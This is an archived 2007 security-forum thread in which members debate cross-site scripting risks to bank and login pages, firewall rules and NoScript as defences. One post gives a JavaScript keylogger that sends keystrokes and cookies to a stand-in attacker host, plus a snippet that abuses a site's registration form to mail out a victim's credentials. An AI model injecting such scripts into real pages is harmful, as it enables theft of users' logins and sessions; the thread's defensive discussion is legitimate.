How quickly the malware/security landscape changes!

Discussion in 'other anti-malware software' started by besafe, May 31, 2007.

Thread Status:
Not open for further replies.
  1. elio

    elio Registered Member

    Joined:
    May 3, 2007
    Posts:
    77
    Earlier in this topic I said
    no "anti-phishing" solution, I was not kidding.
    If you're interested, more on this here
     
  2. elio

    elio Registered Member

    Joined:
    May 3, 2007
    Posts:
    77
    May I deduce you're an alarmed BofA customer? :shifty:

    Wrong assumption, all the action happens inside BofA.
    Just follow the link, it's innocuous.
    I didn't bother to attach a keylogger or other fireworks this time: it should be obvious by now that even if I just pop up an alert saying "XSS" the game is over and the bad guys win ;)
     
  3. flinchlock

    flinchlock Registered Member

    Joined:
    Jan 30, 2005
    Posts:
    554
    Location:
    Michigan
    I did, below is the 1st screen I see. The 2nd screen is the sipc site.

    Am I not seeing your point?

    Mike
     

    Attached Files:

    • boa.png
      boa.png
      File size:
      48.3 KB
      Views:
      218
  4. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Hello elio,

    Those in this thread who didn't follow the XSS thread should at least read your Post #38 there:
    https://www.wilderssecurity.com/showthread.php?p=1002678#post1002678

    It is a very well-written, concise summary of the possiblities for misuse of XSS (Cross Site Script).

    However, it deserves stating again for those who didn't follow the thread, that your ZA PoC -- and I consider it to be the most dangerous of the XSS exploits because it attacks the integrity of a secure Login page -- however is very easily preventable by setting up Firewall rules.

    I have updated my writeup to use your improved demonstration:

    http://urs2.net/rsj/computing/tests/xss_defense.html

    Now, you argued in the other thread that you could not see the "normal" user going to this trouble. To which I now respond, that I cannot pass judgment as to how much trouble the "normal" user (whatever that means) might experience in setting up her/his security.

    Anyway, the use of separate HTTP and HTTPS firewall rules is no trouble, and has been known for some years as a protection against pharming - - and the additional HTTP rule takes care of this particular type of XSS exploit, where any attempt to leave the secure site will be blocked.

    The argument that this restricts the freedom of casual surfing is fallacious, because you only invoke this firewall prompting when you go to your secure sites to transact business.

    Having said that, there is no intent to force anyone to adopt a particular strategy, just to demonstrate one solution.

    It should also be stated again that your PoC is the Reflected type of XSS exploit that you describe - that is, the code is appended to the spoofed URL and is injected into the page when the user clicks on the link. This is in contrast to the Persistent XSS exploit which you describe, where the script resides permanently in the legitimate page code until discovered.

    Since this demo/exploit is of the first type, the alert reader will ask, "Hmmm... would I click on a link to go to my secure site and possibly get caught phishing? Or would I follow my own security policy of using my own bookmarked links for my secure sites where I transact business?"

    Nonetheless, the firewall rule prevents the stealing/sending out of data from a secure Login Page whether the XSS is Reflected or Persistent, until someone cleverly finds a way to send out the data other than through a port. At which time another solution will surely be found, as it usually does in the Cat-and-Mouse game.

    As for the other misuses of XSS - compromising what one may choose reveal about her/himself on MySpace or any such Social Network Site - I will leave that to be taken up by someone else.

    regards,

    -rich

    ________________________________________________________________
    "Talking About Security Can Lead To Anxiety, Panic, And Dread...
    Or Cool Assessments, Common Sense And Practical Planning..."
    --Bruce Schneier​
     
    Last edited: Jun 2, 2007
  5. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Well, even if you miss the obvious spelling errors, certainly one using a search site like this (which I would never recommend) should check the links before clicking by hovering the mouse over the URL. Here, it purports to be the official Norton AV site symantec.com.

    Hmmm... maybe not.



    regards,

    -rich

    ________________________________________________________________
    "Talking About Security Can Lead To Anxiety, Panic, And Dread...
    Or Cool Assessments, Common Sense And Practical Planning..."
    --Bruce Schneier​
     

    Attached Files:

    Last edited: Jun 2, 2007
  6. besafe

    besafe Registered Member

    Joined:
    Mar 29, 2007
    Posts:
    222
    RMUS...I am an average PC user. MUCH of this thread is WAY beyond my comprehension level. It's just plain over my head.

    What kind of rule can the average PC user set up in Zone Alarm to protect from this vulnerability?
     
  7. elio

    elio Registered Member

    Joined:
    May 3, 2007
    Posts:
    77
    You're using NoScript, you won :)
    _____________________________________________________________

    Rmus, I know how much you love Opera and I'm sorry to tell you this, but your firewall-based defense is quite naive.
    It assumes:
    1) that I need to "steal" your credentials in order to use your account
    2) that, if I still really want to transmit your credentials to my database, I need to open HTTP connections to an IP different than the one currently under attack

    Both these assumptions are almost always wrong, and they can be easily disproved. Of course, to disprove #1 in this specific case we should both have a ZA account, yours to be victimized, mine to let me figure out what I want to do with yours :shifty:
    _____________________________________________________________

    Besafe, the firewall trick (which, simply put, prevents your browser from connecting to any site aside the ones whose IP address you've previously picked by hand) is quite impractical and, as I just said, almost useless.
    NoScript is a more usable and effective defense (as involuntarily shown by flinchlock).
     
    Last edited: Jun 2, 2007
  8. flinchlock

    flinchlock Registered Member

    Joined:
    Jan 30, 2005
    Posts:
    554
    Location:
    Michigan
    I am maybe a tiny bit above average, and this XSS is pretty scary. I have tried to read all posts regarding XSS. I really really enjoy a post when @elio and @Rmus are testing this stuff!

    So, I made a post of what I thought I have learned in all the XSS posts. In a post by @Rmus, he recommended by post to someone.

    https://www.wilderssecurity.com/showthread.php?t=174195&page=3 Post #51

    Mike
     
  9. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Hello, elio,

    That is a bit scary. Can you explain how you would attach a keylogger?

    Well! :eek:

    It has nothing to do with the browser: it's all in the firewall, and I've shown how it is effective against the exploit you have presented, nothing more. If you can't accept that, we'll just have to agree to disagree and leave it at that. :)

    In order to use my account, you have to somehow "see" = "read" it. You haven't shown how you can do that.

    I'm aware that it's been shown that a trojan doesn't need a port to connect out. I haven't seen how this can be accomplished using javascript.

    Until I see working examples, it is all hypothesis. What you say may be true, in which case I will give up. :)

    Meanwhile, back on the playing field: all of this assumes several things. Culling some of your comments from the other thread:

    1) User interaction.

    You careful readers will review your own security policies with respect to following links, enabling auto-completion, etc., and decide for yourselves if you could fall victim to this.


    2) That a site is vulnerable to this type of attack.

    Anyone concerned about this can contact the webmaster of your secure sites on which you transact business.

    I have contacted two and have heard back from one that the site is not vulnerable to XSS exploits.


    EDIT: A good example of the usefulness in contacting webmasters is the recent SloanTreeFarm referer/redirect exploit which noway discovered. I emailed the webmaster and the site was fixed later.

    regards,

    -rich

    ________________________________________________________________
    "Talking About Security Can Lead To Anxiety, Panic, And Dread...
    Or Cool Assessments, Common Sense And Practical Planning..."
    --Bruce Schneier​
     
    Last edited: Jun 2, 2007
  10. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Hello besafe (you've got to love that name!)

    The firewall by default will permit traffic unimpeded through Ports 80 (HTTP) and 443 (Secure HTTPS).

    First: Simple Pharming (the URL has been spoofed to direct to a different IP Address)

    One way to protect against pharming is to use two customized rules.

    1) You change the default rule for your browser to restrict to just Port 80. This takes care of all of your normal surfing activity

    2) Set up a second rule for Port 443 and restrict to certain IP addresses, such as your bank. Here is an example:

    http://www.urs2.net/rsj/computing/imgs/kerio-2rules.gif

    How does this work? If the IP address for YourBank.com is 206:12.234.67, this is what you put in your Custom Addresses.

    Now, if you were to click on a YourBank.com link that was spoofed to send out to 68.98.765.23, your firewall would display an alert because that IP address is not in your Custom Addresses.

    When elio showed his XSS exploit demo, I saw that it could be blocked by adding another firewall rule, since the exploit attempted to send out data to an IP address outside the site when the user clicked on "Submit."

    The additional firewall rule is similar to the HTTPS rule, except this restricts to Port 80 and Custom Addresses, and I make it the second rule of the three:

    http://www.urs2.net/rsj/computing/imgs/XSS_ruleset.gif

    In normal web activity, all three rules are enabled and nothing has changed.

    When I go to my bank site, I will now disable the first rule. This will automatically pass the rule checking down to the next two rules which are restricted to Custom Addresses, and any attempt to connnect to another IP Address will be blocked.

    (This assumes your Firewall checks rules from top to bottom)

    Granted, this prevents just the one scenario which elio has suggested, and he intimates that there are other scenarios which don't require connecting out to a different HTTP. But until working demos of that surface, this will help.

    As far as the assertion that it is impractical, this decision should be left up to the individual user, IMHO :)

    **Actually, having been assured recently that two of my secure sites where I transact business are not vulnerable to XSS exploits (I just returned from visiting one local office, I'm waiting on another), I won't need to use this procedure :)

    If you are a FireFox user, see solution by flinchlock above.


    regards,

    -rich

    ________________________________________________________________
    "Talking About Security Can Lead To Anxiety, Panic, And Dread...
    Or Cool Assessments, Common Sense And Practical Planning..."
    --Bruce Schneier​
     
    Last edited: Jun 2, 2007
  11. elio

    elio Registered Member

    Joined:
    May 3, 2007
    Posts:
    77
    Easy as
    Code:
    <script>
    var keySerial = 0;
    window.addEventListener("keydown", function(ev) { 
      new Image().src = "http://mykeyloggerserver.com?key=".concat(ev.keyCode)
        .concat("&serial=").concat(keySerial++)
        .concat("&cookie=").concat(escape(document.cookie))
    }, true);
    </script>
    
    I was under the impression you resorted to the firewall hack because a certain effective defense tool suffers from the unbearable limitation of being a Firefox-only solution.
    I apologize if I misunderstood your sincere, unbiased spirit of research :rolleyes:

    Regarding effectiveness and how to measure it, looks like I need to stress once more that "the exploit I have presented" wasn't anything much elaborated: it took me about 10 mins to put it together, and I'm not even a professional evil hacker.
    You're still focused on how to contain the damage after the XSS happens, while it's already general consensus (even if after years and years of dismissal and delusion) that once a script can elude the "same domain" policy there's no point in trying to stop this or that specific behavior: as I said,
    JavaScript is a very powerful language, the DOM and the Web in general are very rich execution environments (especially thanks to this so called Web 2.0 madness): there are definitely too many (infinite?) different ways to accomplish the same (possibly malicious) task, once an alien script is allowed to run in a context where it doesn't belong.
    Rmus, you seem an educated person and a fine logical thinker, but to be successful in proactive security some more imagination is required, otherwise you will always be stuck with Enumerating Badness or Penetrate and Patch, even if your firewall rules suggest that at you're not a strict follower of Default Permit (what about JavaScript, though?)
    I'm really too lazy and behind with my daily job to provide a full exploit (not to count I'm starting to fear I've already gone too far with this hacker 101 online course and I should prepare a plan B for when the police knocks).
    Anyway I'll give you a hint:
    Code:
    <script>
    function xss_sendMeCredentialsByEmail(victimUid, victimPassword) {
      var req = new XMLHttpRequest();
      req.open("POST", "http://victimsite.com/newuser/registration.asp", true);
      req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      req.send("registrationUserName=" + escape(victimPassword) + 
                   "&registrationPassword=" + escape(victimUID) +
                   "&registrationEmail=" + escape("elio@evilhackers.com"));
      if(req.status == 200 && req.responseText.indexOf(
          "Your registration request has been accepted.\n" +
          "A confirmation email has just been sent to elio@evilhackers.com.\n" +
          "Thank you for joining victimsite.com") > -1) {
         xss_rejoiceBecauseWeWonAgainButSilentlySoTheVictimCantKnown();
      }
    }
    </script>
    
    The code above is definitely enough to disprove both your assumptions.
    Or do you really need me to show you very similar code using the same technique (XMLHttpRequest) to automatically submit your login form after you (or the autocompletion) filled it and then to navigate, perform online transactions and so on without your intervention?
    :blink:
    Oh yeah, I bet they know better than Google or Yahoo ;)
     
    Last edited: Jun 2, 2007
  12. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Update: I am now confident I can safely conduct business transactions on the few sites that I do,
    so for me, this aspect of the XSS issue is closed.

    In monitoring our security strategy, it is our job to identify exploits and develop solutions for them.
    I always look for the most bullet-proof solution. In this case, it is as elio says,

    In my case, there are no vulnerable sites. Others can also check for themselves.


    regards,

    -rich

    ___________________________________________________________________________
    "Just because someone else's shoes are too tight, why should my feet hurt"
     
  13. Rmus

    Rmus Exploit Analyst

    Joined:
    Mar 16, 2005
    Posts:
    4,020
    Location:
    California
    Agreed. You win!

    -rich
     
Thread Status:
Not open for further replies.
  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.